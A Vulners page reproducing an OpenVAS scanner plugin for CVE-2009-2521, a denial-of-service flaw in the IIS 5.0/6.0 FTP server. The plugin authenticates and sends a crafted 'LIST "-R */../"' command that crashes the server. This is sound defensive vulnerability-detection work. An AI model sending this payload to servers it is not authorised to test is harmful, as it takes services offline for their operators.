Microsoft IIS FTP Server 'ls' Command DoS Vulnerability
🗓️ 18 Sep 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType
openvas🔗 plugins.openvas.org👁 61 Views
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Microsoft IIS FTP Server <= 7.0 Stack Exhaustion DoS [MS09-053] | 3 Jul 201100:00 | – | zdt | |
| The vulnerability of the Internet Information Services software allows a perpetrator to cause service failures. | 21 Oct 201500:00 | – | bdu_fstec | |
| CVE-2009-2521 | 4 Sep 200900:00 | – | circl | |
| Microsoft IIS FTP Server Recursive Listing Denial of Service (CVE-2009-2521; CVE-2009-3023) | 8 Sep 200900:00 | – | checkpoint_advisories | |
| CVE-2009-2521 | 4 Sep 200910:00 | – | cve | |
| CVE-2009-2521 | 4 Sep 200910:00 | – | cvelist | |
| Microsoft IIS 7.0 FTP Server - Stack Exhaustion Denial of Service (MS09-053) (Metasploit) | 3 Jul 201100:00 | – | exploitdb | |
| Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service | 4 Sep 200900:00 | – | exploitdb | |
| Microsoft IIS 7.0 FTP Server - Stack Exhaustion Denial of Service (MS09-053) (Metasploit) | 3 Jul 201100:00 | – | exploitpack | |
| Microsoft IIS FTP Server LIST Stack Exhaustion | 26 Nov 201119:30 | – | metasploit |
10
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:microsoft:ftp_service";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.900944");
script_version("2026-04-28T06:28:06+0000");
script_tag(name:"last_modification", value:"2026-04-28 06:28:06 +0000 (Tue, 28 Apr 2026)");
script_tag(name:"creation_date", value:"2009-09-18 08:01:03 +0200 (Fri, 18 Sep 2009)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2009-2521");
script_name("Microsoft IIS FTP Server 'ls' Command DoS Vulnerability");
script_xref(name:"URL", value:"http://www.microsoft.com/technet/security/advisory/975191.mspx");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36273");
script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/fulldisclosure/2009-09/0040.html");
script_xref(name:"URL", value:"http://blogs.technet.com/msrc/archive/2009/09/01/microsoft-security-advisory-975191-released.aspx");
script_xref(name:"URL", value:"http://blogs.technet.com/msrc/archive/2009/09/03/microsoft-security-advisory-975191-revised.aspx");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2009 Greenbone AG");
script_family("Denial of Service");
script_dependencies("secpod_ms_iis_ftpd_detect.nasl", "logins.nasl");
script_require_ports("Services/ftp", 21);
script_mandatory_keys("MS/IIS-FTP/Installed");
script_tag(name:"impact", value:"Successful exploitation will allow remote authenticated users to crash the
application leading to denial of service condition.");
script_tag(name:"affected", value:"Microsoft Internet Information Services version 5.0 and 6.0.");
script_tag(name:"insight", value:"A stack consumption error occurs in the FTP server while processing crafted
LIST command containing a wildcard that references a subdirectory followed by
a .. (dot dot).");
script_tag(name:"solution", value:"Upgrade to IIS version 7.5");
script_tag(name:"summary", value:"Microsoft IIS with FTP server is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("ftp_func.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"ftp"))
exit(0);
if(!get_app_location(cpe:CPE, port:port, nofork:TRUE))
exit(0);
soc = open_sock_tcp(port);
if(!soc)
exit(0);
kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
pass = kb_creds["pass"];
if(ftp_authenticate(socket:soc, user:login, pass:pass)) {
cmd = 'LIST "-R */../"\r\n'; # The IIS server crashes and restarted.
send(socket:soc, data:cmd);
sleep(10);
buff = recv(socket:soc, length:1024);
ecmd = 'LIST\r\n';
send(socket:soc, data:ecmd);
eresp = recv(socket:soc, length:1024);
if("Can't open data connection" >< eresp){
security_message(port:port);
}
}
close(soc);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Apr 2026 00:00Current
5.1Medium risk
Vulners AI Score5.1
CVSS 25
EPSS0.82265